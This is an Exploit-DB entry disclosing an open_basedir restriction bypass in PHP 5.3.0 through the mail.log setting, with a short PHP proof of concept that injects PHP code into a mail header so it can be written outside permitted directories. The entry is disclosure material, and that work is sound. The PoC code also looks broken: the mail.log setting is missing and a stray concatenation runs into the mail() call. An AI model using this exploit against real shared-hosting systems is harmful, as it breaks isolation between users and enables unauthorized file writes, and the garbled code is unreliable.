PHP 5.3 - 'mail.log' Configuration Option 'open_basedir' Restriction Bypass Vulnerability

ID EDB-ID:33161
Type exploitdb
Reporter Maksymilian Arciemowicz
Modified 2009-08-10T00:00:00


PHP 5.3 'mail.log' Configuration Option 'open_basedir' Restriction Bypass Vulnerability. Local exploit for php platform


PHP is prone to an 'open_basedir' restriction-bypass vulnerability because of a design error.

Successful exploits could allow an attacker to write files in unauthorized locations.

This vulnerability would be an issue in shared-hosting configurations where multiple users can create and execute arbitrary PHP script code; in such cases, the 'safe_mode' and 'open_basedir' restrictions are expected to isolate users from each other.

PHP 5.3.0 is vulnerable. 

$to = '';
$subject = 'open_basedir bypass by';
$message = 'exploit';
$headers = 'From:' . "\r\n" .
'Reply-To:' . "\r\n" .
'X-Mailer: PHP<?php echo ini_get(\'open_basedir\');?>/' .

mail($to, $subject, $message, $headers);